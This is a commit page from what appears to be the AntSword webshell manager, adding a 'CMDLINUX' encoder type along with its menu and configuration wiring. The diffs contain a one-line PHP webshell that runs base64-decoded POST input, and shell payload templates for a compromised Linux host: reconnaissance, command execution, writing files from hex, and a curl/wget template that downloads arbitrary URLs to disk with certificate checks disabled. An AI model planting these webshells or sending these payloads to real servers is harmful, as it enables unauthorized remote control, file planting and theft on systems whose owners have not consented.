Commit a42527e9 authored by Medicean's avatar Medicean

(Enhance: Modules/Encoder) 编码管理中支持 CMDLinux

parent 58ebc116
'use strict';
/**
* webshell eg:
<?php system(base64_decode($_POST['ant']));?>
*/
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
...@@ -41,7 +41,7 @@ class CMDLINUX extends Base { ...@@ -41,7 +41,7 @@ class CMDLINUX extends Base {
* @return {array} 编码器列表 * @return {array} 编码器列表
*/ */
get encoders() { get encoders() {
return []; return ["base64"];
} }
get decoders() { get decoders() {
......
...@@ -6,16 +6,15 @@ ...@@ -6,16 +6,15 @@
module.exports = () => ({ module.exports = () => ({
info: { info: {
_: `ACWD=$(pwd); _: `ACWD=$(pwd);
AUNAME=$(uname -a); AUNAME=$(uname -a);
AUSER=$(whoami); AUSER=$(whoami);
echo -n "$ACWD\\t/\\t$AUNAME\\t$AUSER";` echo -n "$ACWD\\t/\\t$AUNAME\\t$AUSER";`.replace(/\n\s+/g, '')
}, },
probedb: { // 检测数据库函数支持 probedb: { // 检测数据库函数支持
_: `command_exists() { command -v "$@" > /dev/null 2>&1; }; _: `command_exists() { command -v "$@" > /dev/null 2>&1; };
DBLIST="mysql psql sqlite3"; DBLIST="mysql psql sqlite3";
for v in $DBLIST for v in $DBLIST; do
do
if command_exists $v; then echo "$v\\t1"; else echo "$v\\t0"; fi; if command_exists $v; then echo "$v\\t1"; else echo "$v\\t0"; fi;
done;` done;`.replace(/\n\s+/g, '')
} }
}) })
\ No newline at end of file
...@@ -5,20 +5,19 @@ ...@@ -5,20 +5,19 @@
module.exports = (arg1, arg2, arg3) => ({ module.exports = (arg1, arg2, arg3) => ({
exec: { exec: {
_: `ENVSTR=$(echo #{buffer::env}|xxd -r -p); _: `ENVSTR=$(echo #{buffer::env}|xxd -r -p);
while [ $ENVSTR ]; do while [ $ENVSTR ]; do
ASLINE=\${ENVSTR%%"|||asline|||"*}; ASLINE=\${ENVSTR%%"|||asline|||"*};
ENVSTR=\${ENVSTR#*"|||asline|||"}; ENVSTR=\${ENVSTR#*"|||asline|||"};
export \${ASLINE%%"|||askey|||"*}=\${ASLINE#*"|||askey|||"}; export \${ASLINE%%"|||askey|||"*}=\${ASLINE#*"|||askey|||"};
done; done;
#{bin} -c '#{cmd}';`, #{bin} -c '#{cmd}';`.replace(/\n\s+/g, ''),
}, },
listcmd: { listcmd: {
_: `CMDLIST="#{binarr}"; _: `CMDLIST="#{binarr}";
OLD_IFS=$IFS; OLD_IFS=$IFS;
IFS=","; IFS=",";
for v in $CMDLIST for v in $CMDLIST; do
do
if [ -f $v ]; then echo "$v\\t1"; else echo "$v\\t0"; fi; if [ -f $v ]; then echo "$v\\t1"; else echo "$v\\t0"; fi;
done;` done;`.replace(/\n\s+/g, '')
} }
}) })
\ No newline at end of file
...@@ -12,10 +12,16 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -12,10 +12,16 @@ module.exports = (arg1, arg2, arg3) => ({
}, },
create_file: { create_file: {
_: `cat>#{path}<<'EOF' _: `command_exists() { command -v "$@" > /dev/null 2>&1; };
#{content} ACONTENT="#{buffer::content}";
EOF ADSTPATH="#{path}";
if [ $? = 0 ]; then echo -n 1; else echo -n 0; fi;` if command_exists xxd; then
echo -n $ACONTENT|xxd -r -p > $ADSTPATH && echo -n 1||echo -n 0;
elif command_exists python3; then
echo -n $ACONTENT|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))">$ADSTPATH && echo -n 1||echo -n 0;
else
echo -n $ACONTENT|sed 's/\\([0-9A-F]\\{2\}\\)/\\\\\\\\\\\\x\\1/gI'|xargs printf>$ADSTPATH && echo -n 1||echo -n 0;
fi;`.replace(/\n\s+/g, '')
}, },
read_file: { read_file: {
...@@ -32,16 +38,15 @@ if [ $? = 0 ]; then echo -n 1; else echo -n 0; fi;` ...@@ -32,16 +38,15 @@ if [ $? = 0 ]; then echo -n 1; else echo -n 0; fi;`
upload_file: { upload_file: {
_: `command_exists() { command -v "$@" > /dev/null 2>&1; }; _: `command_exists() { command -v "$@" > /dev/null 2>&1; };
ACONTENT="#{buffer::content}"; ACONTENT="#{buffer::content}";
ADSTPATH="#{path}"; ADSTPATH="#{path}";
if command_exists xxd; then if command_exists xxd; then
echo -n $ACONTENT|xxd -r -p >> $ADSTPATH && echo -n 1||echo -n 0; echo -n $ACONTENT|xxd -r -p >> $ADSTPATH && echo -n 1||echo -n 0;
elif command_exists python3; then elif command_exists python3; then
echo -n $ACONTENT|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))">>$ADSTPATH && echo -n 1||echo -n 0; echo -n $ACONTENT|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))">>$ADSTPATH && echo -n 1||echo -n 0;
else else
echo -n $ACONTENT|sed 's/\\([0-9A-F]\\{2\}\\)/\\\\\\\\\\\\x\\1/gI'|xargs printf>>$ADSTPATH && echo -n 1||echo -n 0; echo -n $ACONTENT|sed 's/\\([0-9A-F]\\{2\}\\)/\\\\\\\\\\\\x\\1/gI'|xargs printf>>$ADSTPATH && echo -n 1||echo -n 0;
fi; fi;`.replace(/\n\s+/g, '')
`
}, },
rename: { rename: {
...@@ -62,15 +67,15 @@ fi; ...@@ -62,15 +67,15 @@ fi;
wget: { wget: {
_: `command_exists() { command -v "$@" > /dev/null 2>&1; }; _: `command_exists() { command -v "$@" > /dev/null 2>&1; };
ascurl='' ascurl=''
if command_exists curl; then if command_exists curl; then
ascurl='curl -ksSL -o'; ascurl='curl -ksSL -o';
elif command_exists wget; then elif command_exists wget; then
ascurl='wget --no-check-certificate -qO'; ascurl='wget --no-check-certificate -qO';
elif command_exists busybox && busybox --list-modules | grep -q wget; then elif command_exists busybox && busybox --list-modules | grep -q wget; then
ascurl='busybox wget --no-check-certificate -qO' ascurl='busybox wget --no-check-certificate -qO'
fi; fi;
$ascurl #{path} #{url} && echo -n 1||echo -n 0; $ascurl #{path} #{url} && echo -n 1||echo -n 0;
` `.replace(/\n\s+/g, '')
} }
}) })
\ No newline at end of file
...@@ -70,6 +70,11 @@ class Encoders { ...@@ -70,6 +70,11 @@ class Encoders {
icon: 'file-code-o', icon: 'file-code-o',
type: 'button', type: 'button',
text: "JSPJS" text: "JSPJS"
}, {
id: 'new_cmdlinux',
icon: 'file-code-o',
type: 'button',
text: "CMDLINUX"
}, { }, {
type: 'separator' type: 'separator'
}, { }, {
...@@ -106,6 +111,11 @@ class Encoders { ...@@ -106,6 +111,11 @@ class Encoders {
icon: 'file-code-o', icon: 'file-code-o',
type: 'button', type: 'button',
text: "JSPJS" text: "JSPJS"
}, {
id: 'new_cmdlinux_decoder',
icon: 'file-code-o',
type: 'button',
text: "CMDLINUX"
}, { }, {
type: 'separator' type: 'separator'
}, { }, {
...@@ -156,6 +166,9 @@ class Encoders { ...@@ -156,6 +166,9 @@ class Encoders {
case "new_jspjs": case "new_jspjs":
that.createEncoder(id); that.createEncoder(id);
break; break;
case "new_cmdlinux":
that.createEncoder(id);
break;
case "new_php": case "new_php":
case "new_php_rsa": case "new_php_rsa":
that.createEncoder(id); that.createEncoder(id);
...@@ -172,6 +185,9 @@ class Encoders { ...@@ -172,6 +185,9 @@ class Encoders {
case "new_jspjs_decoder": case "new_jspjs_decoder":
that.createEncoder(id, 'decoder'); that.createEncoder(id, 'decoder');
break; break;
case "new_cmdlinux_decoder":
that.createEncoder(id, 'decoder');
break;
case "new_custom_decoder": case "new_custom_decoder":
that.createEncoder(id, 'decoder'); that.createEncoder(id, 'decoder');
break; break;
...@@ -212,6 +228,7 @@ class Encoders { ...@@ -212,6 +228,7 @@ class Encoders {
combobox.put("php", "PHP"); combobox.put("php", "PHP");
combobox.put("jsp", "JSP"); combobox.put("jsp", "JSP");
combobox.put("jspjs", "JSPJS"); combobox.put("jspjs", "JSPJS");
combobox.put("cmdlinux", "CMDLINUX");
combobox.put("custom", "CUSTOM"); combobox.put("custom", "CUSTOM");
grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) { grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) {
...@@ -243,7 +260,7 @@ class Encoders { ...@@ -243,7 +260,7 @@ class Encoders {
break break
case 2: case 2:
// type // type
if (nValue != "asp" && nValue != "aspx" && nValue != "php" && nValue != "jsp"&& nValue != "jspjs"&&nValue != "custom") { if (nValue != "asp" && nValue != "aspx" && nValue != "php" && nValue != "jsp"&& nValue != "jspjs"&& nValue != "cmdlinux"&&nValue != "custom") {
toastr.error(LANG['message']["etype_error"], LANG_T['error']); toastr.error(LANG['message']["etype_error"], LANG_T['error']);
return return
} }
...@@ -784,6 +801,7 @@ module.exports = { ...@@ -784,6 +801,7 @@ module.exports = {
php: [], php: [],
jsp: [], jsp: [],
jspjs: [], jspjs: [],
cmdlinux: [],
custom: [], custom: [],
}; };
var encoders_path = { var encoders_path = {
...@@ -792,6 +810,7 @@ module.exports = { ...@@ -792,6 +810,7 @@ module.exports = {
php: [], php: [],
jsp: [], jsp: [],
jspjs: [], jspjs: [],
cmdlinux: [],
custom: [], custom: [],
}; };
let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
...@@ -799,7 +818,7 @@ module.exports = { ...@@ -799,7 +818,7 @@ module.exports = {
!fs.existsSync(userencoder_path) ? !fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) : fs.mkdirSync(userencoder_path) :
null; null;
['asp', 'aspx', 'php', 'jsp','jspjs' , 'custom'].map((t) => { ['asp', 'aspx', 'php', 'jsp','jspjs' , 'custom', 'cmdlinux'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ? !fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) : fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null; null;
...@@ -835,6 +854,7 @@ module.exports = { ...@@ -835,6 +854,7 @@ module.exports = {
php: [], php: [],
jsp: [], jsp: [],
jspjs: [], jspjs: [],
cmdlinux: [],
custom: [] custom: []
}; };
var decoders_path = { var decoders_path = {
...@@ -843,6 +863,7 @@ module.exports = { ...@@ -843,6 +863,7 @@ module.exports = {
php: [], php: [],
jsp: [], jsp: [],
jspjs: [], jspjs: [],
cmdlinux: [],
custom: [] custom: []
}; };
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
...@@ -850,7 +871,7 @@ module.exports = { ...@@ -850,7 +871,7 @@ module.exports = {
!fs.existsSync(userdecoder_path) ? !fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) : fs.mkdirSync(userdecoder_path) :
null; null;
['asp', 'aspx', 'php', 'jsp','jspjs', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'jsp','jspjs', 'custom', 'cmdlinux'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ? !fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) : fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null; null;
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment